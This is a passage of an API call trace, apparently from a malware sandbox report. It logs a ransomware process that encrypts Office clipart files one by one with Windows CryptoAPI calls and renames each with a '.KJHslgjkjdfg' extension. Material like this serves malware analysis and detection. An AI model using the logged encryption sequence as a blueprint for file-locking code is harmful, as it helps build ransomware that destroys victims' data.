lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0205.780] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0205.780] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0205.780] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.780] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x4816, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x4816, lpOverlapped=0x0) returned 1 [0205.781] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x4820, dwBufLen=0x4820 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x4820) returned 1 [0205.781] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.781] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x4820, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x4820, lpOverlapped=0x0) returned 1 [0205.782] CryptDestroyKey (hKey=0x9b6628) returned 1 [0205.782] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x48f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.782] SetEndOfFile (hFile=0x130) returned 1 [0205.784] GetProcessHeap () returned 0x990000 [0205.784] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0205.784] GetProcessHeap () returned 0x990000 [0205.784] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0205.784] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02125_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02125_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02125_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02125_.wmf.kjhslgjkjdfg")) returned 1 [0205.785] CloseHandle (hObject=0x130) returned 1 [0205.785] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x819c1a00, ftCreationTime.dwHighDateTime=0x1bd4bef, ftLastAccessTime.dwLowDateTime=0x5951e930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x819c1a00, ftLastWriteTime.dwHighDateTime=0x1bd4bef, nFileSizeHigh=0x0, nFileSizeLow=0x7c50, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA02126_.WMF", cAlternateFileName="")) returned 1 [0205.785] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02126_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02126_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0205.785] GetProcessHeap () returned 0x990000 [0205.785] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0205.786] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0205.786] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0205.786] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0205.786] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0205.786] GetProcessHeap () returned 0x990000 [0205.786] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0205.786] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0205.786] CryptDestroyKey (hKey=0x9b6628) returned 1 [0205.786] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0205.788] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0205.788] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0205.788] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0205.788] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0205.788] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0205.788] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0205.788] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0205.788] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.788] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x7c50, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x7c50, lpOverlapped=0x0) returned 1 [0205.789] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x7c50, dwBufLen=0x7c50 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x7c50) returned 1 [0205.789] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.789] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x7c50, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x7c50, lpOverlapped=0x0) returned 1 [0205.789] CryptDestroyKey (hKey=0x9b6628) returned 1 [0205.789] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x7d24, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.789] SetEndOfFile (hFile=0x130) returned 1 [0205.792] GetProcessHeap () returned 0x990000 [0205.792] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0205.792] GetProcessHeap () returned 0x990000 [0205.792] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0205.792] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02126_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02126_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02126_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02126_.wmf.kjhslgjkjdfg")) returned 1 [0205.792] CloseHandle (hObject=0x130) returned 1 [0205.793] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9355900, ftCreationTime.dwHighDateTime=0x1bd4bef, ftLastAccessTime.dwLowDateTime=0x6a396cf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9355900, ftLastWriteTime.dwHighDateTime=0x1bd4bef, nFileSizeHigh=0x0, nFileSizeLow=0xfe4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA02127_.WMF", cAlternateFileName="")) returned 1 [0205.793] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02127_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02127_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0205.794] GetProcessHeap () returned 0x990000 [0205.794] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0205.794] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0205.794] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0205.794] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xc, lpOverlapped=0x0) returned 1 [0205.811] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0205.811] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0205.811] GetProcessHeap () returned 0x990000 [0205.811] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0205.811] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0205.811] CryptDestroyKey (hKey=0x9b6628) returned 1 [0205.811] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0205.811] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0205.811] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0205.811] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0205.812] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0205.812] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0205.812] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0205.812] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0205.812] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.812] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xfe4, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0xfe4, lpOverlapped=0x0) returned 1 [0205.812] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0xff0, dwBufLen=0xff0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0xff0) returned 1 [0205.812] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.812] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xff0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0xff0, lpOverlapped=0x0) returned 1 [0205.812] CryptDestroyKey (hKey=0x9b6628) returned 1 [0205.812] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x10c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.812] SetEndOfFile (hFile=0x130) returned 1 [0205.814] GetProcessHeap () returned 0x990000 [0205.815] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0205.815] GetProcessHeap () returned 0x990000 [0205.815] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0205.815] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02127_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02127_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02127_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02127_.wmf.kjhslgjkjdfg")) returned 1 [0205.817] CloseHandle (hObject=0x130) returned 1 [0205.817] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6a396cf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xd00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA02262_.WMF", cAlternateFileName="")) returned 1 [0205.817] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02262_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02262_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0205.818] GetProcessHeap () returned 0x990000 [0205.818] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0205.818] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0205.818] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0205.818] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0205.818] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0205.818] GetProcessHeap () returned 0x990000 [0205.818] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0205.818] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0205.818] CryptDestroyKey (hKey=0x9b6628) returned 1 [0205.818] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0205.820] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0205.820] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0205.821] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0205.821] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0205.821] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0205.821] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0205.821] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0205.821] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.821] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xd00, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0xd00, lpOverlapped=0x0) returned 1 [0205.821] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0xd00, dwBufLen=0xd00 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0xd00) returned 1 [0205.821] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.821] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xd00, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0xd00, lpOverlapped=0x0) returned 1 [0205.821] CryptDestroyKey (hKey=0x9b6628) returned 1 [0205.821] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xdd4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.822] SetEndOfFile (hFile=0x130) returned 1 [0205.824] GetProcessHeap () returned 0x990000 [0205.824] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0205.824] GetProcessHeap () returned 0x990000 [0205.824] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0205.824] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02262_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02262_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02262_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02262_.wmf.kjhslgjkjdfg")) returned 1 [0205.826] CloseHandle (hObject=0x130) returned 1 [0205.826] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5951e930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x8e0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA02264_.WMF", cAlternateFileName="")) returned 1 [0205.826] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02264_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02264_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0205.827] GetProcessHeap () returned 0x990000 [0205.827] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0205.827] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0205.827] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0205.827] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0205.827] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0205.827] GetProcessHeap () returned 0x990000 [0205.827] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0205.827] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0205.827] CryptDestroyKey (hKey=0x9b6628) returned 1 [0205.827] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0205.831] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0205.831] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0205.831] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0205.831] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0205.831] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0205.831] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0205.831] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0205.831] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.831] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x8e0, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x8e0, lpOverlapped=0x0) returned 1 [0205.832] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x8e0, dwBufLen=0x8e0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x8e0) returned 1 [0205.832] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.832] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x8e0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x8e0, lpOverlapped=0x0) returned 1 [0205.832] CryptDestroyKey (hKey=0x9b6628) returned 1 [0205.832] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x9b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.832] SetEndOfFile (hFile=0x130) returned 1 [0205.833] GetProcessHeap () returned 0x990000 [0205.833] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0205.833] GetProcessHeap () returned 0x990000 [0205.833] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0205.833] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02264_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02264_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02264_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft 